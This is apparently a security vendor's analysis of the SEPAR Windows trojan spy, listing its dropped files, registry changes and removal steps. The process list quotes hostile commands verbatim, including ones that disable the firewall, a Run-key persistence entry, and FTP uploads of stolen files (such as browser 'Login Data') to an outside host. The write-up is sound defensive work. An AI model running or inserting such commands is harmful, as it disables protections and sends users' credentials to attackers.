Analysis by: Mohammed Malubay

ALIASES:

BAT/PSW.Separ.K trojan(NOD32); Trojan-Spy.BAT.Agent.aa(KASPERSKY);

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan Spy

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 2,686,635 bytes
File Type: EXE
Memory Resident: Yes
Initial Samples Received Date: 19 Feb 2020

Arrival Details

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan Spy drops the following files:

  • %AppDataLocal%\4Adobe\4low\7922.jpg
  • %AppDataLocal%\4Adobe\4low\870.afr
  • %AppDataLocal%\4Adobe\4low\__tmp_rar_sfx_access_check_{random numbers}
  • %AppDataLocal%\4Adobe\4low\adbr01.exe
  • %AppDataLocal%\4Adobe\4low\adbr02.exe
  • %AppDataLocal%\4Adobe\4low\Adob09.vbs
  • %AppDataLocal%\4Adobe\4low\Adobeta.exe
  • %AppDataLocal%\4Adobe\4low\aijw01.bat
  • %AppDataLocal%\4Adobe\4low\aijw02.bat
  • %AppDataLocal%\4Adobe\4low\aijw03.bat
  • %AppDataLocal%\4Adobe\4low\BReader.exe
  • %AppDataLocal%\4Adobe\4low\sun.afr
  • %AppDataLocal%\4Adobe\4low\ZREA.vbs
  • %Application Data%\Adobe\Adobe INC\AadobeRead\011.011
  • %Application Data%\Adobe\Adobe INC\AadobeRead\012.012
  • %Application Data%\Adobe\Adobe INC\AadobeRead\112.112
  • %Application Data%\Adobe\Adobe INC\AadobeRead\7922.jpg
  • %Application Data%\Adobe\Adobe INC\AadobeRead\870.afr
  • %Application Data%\Adobe\Adobe INC\AadobeRead\adbr01.exe
  • %Application Data%\Adobe\Adobe INC\AadobeRead\adbr02.exe
  • %Application Data%\Adobe\Adobe INC\AadobeRead\adip2.klc
  • %Application Data%\Adobe\Adobe INC\AadobeRead\Adob09.vbs
  • %Application Data%\Adobe\Adobe INC\AadobeRead\Adobeta.exe
  • %Application Data%\Adobe\Adobe INC\AadobeRead\aijw01.bat
  • %Application Data%\Adobe\Adobe INC\AadobeRead\aijw02.bat
  • %Application Data%\Adobe\Adobe INC\AadobeRead\aijw03.bat
  • %Application Data%\Adobe\Adobe INC\AadobeRead\BReader.exe
  • %Application Data%\Adobe\Adobe INC\AadobeRead\sun.afr
  • %Application Data%\Adobe\Adobe INC\AadobeRead\ZREA.vbs
  • %User Temp%\9F86B0A0.TMP
  • %User Temp%\Login Data

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • "%System%\WScript.exe" "%User Profile%\ZREA.vbs"
  • cmd /c ""%AppDataLocal%\4Adobe\4low\aijw02.bat" /quiet /norestart"
  • xcopy /y /h /e /r /k /c *.* "%Application Data%\Adobe\Adobe Inc\AadobeRead\"
  • attrib +r +a +s +h "%Application Data%\Adobe\Adobe Inc\AdobeRead"
  • attrib +r +a +s +h "%Application Data%\Adobe Reader\AdobeR"
  • attrib +r +a +s +h "%Application Data%\Adobe Reader\ADBR\READER"
  • attrib +r +a +s +h "%Application Data%\AdobeR\ADBR\READER"
  • attrib +r +a +s +h "%Application Data%\AdobeR"
  • attrib +r +a +s +h "%Application Data%\RAdobe\RADBR\AREADER"
  • "%System%\WScript.exe" "%Application Data%\Adobe\Adobe Inc\AadobeRead\Adob09.vbs"
  • cmd /c ""%Application Data%\Adobe\Adobe INC\AadobeRead\aijw03.bat" /quiet /norestart"
  • Adobeta.exe -x -x -x -d -gentbta34o -s:gentbta34o.gentbta34o ftp.freehostia.com -gentbta34o
  • REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "colalct85653" /t REG_SZ /F /D "%Application Data%\Adobe\Adobe Inc\AdobeRead\aijw01.bat"
  • ipconfig /all
  • adbr01.exe -f "011.011"
  • adbr02.exe -f "112.112"
  • netsh firewall set opmode disable
  • netsh advfirewall set currentprofile state off
  • netsh advfirewall set profiles state off
  • NetSh Advfirewall set allprofiles state off
  • Adobeta.exe -a -c -d -natpasv -s:870.afr ftp.freehostia.com
  • Adobeta.exe -a -c -d -natpasv -s:sun.afr ftp.freehostia.com
  • BReader 5359

Other System Modifications

This Trojan Spy adds the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
colalct85653 = %Application Data%\Adobe\Adobe Inc\AdobeRead\aijw01.bat

HKEY_CURRENT_USER\Software\Licenses
{random characters} = {hex values}

HKEY_CURRENT_USER\Software\Licenses
{random characters} = 08 00 00 00

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
RFC1156Agent\CurrentVersion\Parameters
TrapPollTimeMilliSecs = 15000

Other Details

This Trojan Spy adds the following registry keys:

HKEY_CURRENT_USER\Software\Licenses

HKEY_CURRENT_USER\System\CurrentControlSet\
Control\NetTrace

HKEY_CURRENT_USER\System\CurrentControlSet\
Control\NetTrace\Session

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
RFC1156Agent

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
RFC1156Agent\CurrentVersion

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
RFC1156Agent\CurrentVersion\Parameters

It connects to the following possibly malicious URL:

  • ftp.{BLOCKED}stia.com

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.694.04
FIRST VSAPI PATTERN DATE: 19 Feb 2020
VSAPI OPR PATTERN File: 15.695.00
VSAPI OPR PATTERN Date: 20 Feb 2020

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • colalct85653 = "%Application Data%\Adobe\Adobe Inc\AdobeRead\aijw01.bat"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RFC1156Agent\CurrentVersion\Parameters
    • TrapPollTimeMilliSecs = "15000"
  • In HKEY_CURRENT_USER\Software\Licenses
    • {random characters} = "{hex values}"
  • In HKEY_CURRENT_USER\Software\Licenses
    • {random characters} = "08 00 00 00"

Step 6

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software
    • Licenses
  • In HKEY_CURRENT_USER\System\CurrentControlSet\Control
    • NetTrace
  • In HKEY_CURRENT_USER\System\CurrentControlSet\Control\NetTrace
    • Session
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
    • RFC1156Agent
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RFC1156Agent
    • CurrentVersion
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RFC1156Agent\CurrentVersion
    • Parameters

Step 7

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %AppDataLocal%\4Adobe\4low\7922.jpg
  • %AppDataLocal%\4Adobe\4low\870.afr
  • %AppDataLocal%\4Adobe\4low\__tmp_rar_sfx_access_check_481060
  • %AppDataLocal%\4Adobe\4low\adbr01.exe
  • %AppDataLocal%\4Adobe\4low\adbr02.exe
  • %AppDataLocal%\4Adobe\4low\Adob09.vbs
  • %AppDataLocal%\4Adobe\4low\Adobeta.exe
  • %AppDataLocal%\4Adobe\4low\aijw01.bat
  • %AppDataLocal%\4Adobe\4low\aijw02.bat
  • %AppDataLocal%\4Adobe\4low\aijw03.bat
  • %AppDataLocal%\4Adobe\4low\BReader.exe
  • %AppDataLocal%\4Adobe\4low\sun.afr
  • %AppDataLocal%\4Adobe\4low\ZREA.vbs
  • %Application Data%\Adobe\Adobe INC\AadobeRead\011.011
  • %Application Data%\Adobe\Adobe INC\AadobeRead\012.012
  • %Application Data%\Adobe\Adobe INC\AadobeRead\112.112
  • %Application Data%\Adobe\Adobe INC\AadobeRead\7922.jpg
  • %Application Data%\Adobe\Adobe INC\AadobeRead\870.afr
  • %Application Data%\Adobe\Adobe INC\AadobeRead\adbr01.exe
  • %Application Data%\Adobe\Adobe INC\AadobeRead\adbr02.exe
  • %Application Data%\Adobe\Adobe INC\AadobeRead\adip2.klc
  • %Application Data%\Adobe\Adobe INC\AadobeRead\Adob09.vbs
  • %Application Data%\Adobe\Adobe INC\AadobeRead\Adobeta.exe
  • %Application Data%\Adobe\Adobe INC\AadobeRead\aijw01.bat
  • %Application Data%\Adobe\Adobe INC\AadobeRead\aijw02.bat
  • %Application Data%\Adobe\Adobe INC\AadobeRead\aijw03.bat
  • %Application Data%\Adobe\Adobe INC\AadobeRead\BReader.exe
  • %Application Data%\Adobe\Adobe INC\AadobeRead\sun.afr
  • %Application Data%\Adobe\Adobe INC\AadobeRead\ZREA.vbs
  • %User Temp%\9F86B0A0.TMP
  • %User Temp%\Login Data

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TrojanSpy.Win32.SEPAR.D. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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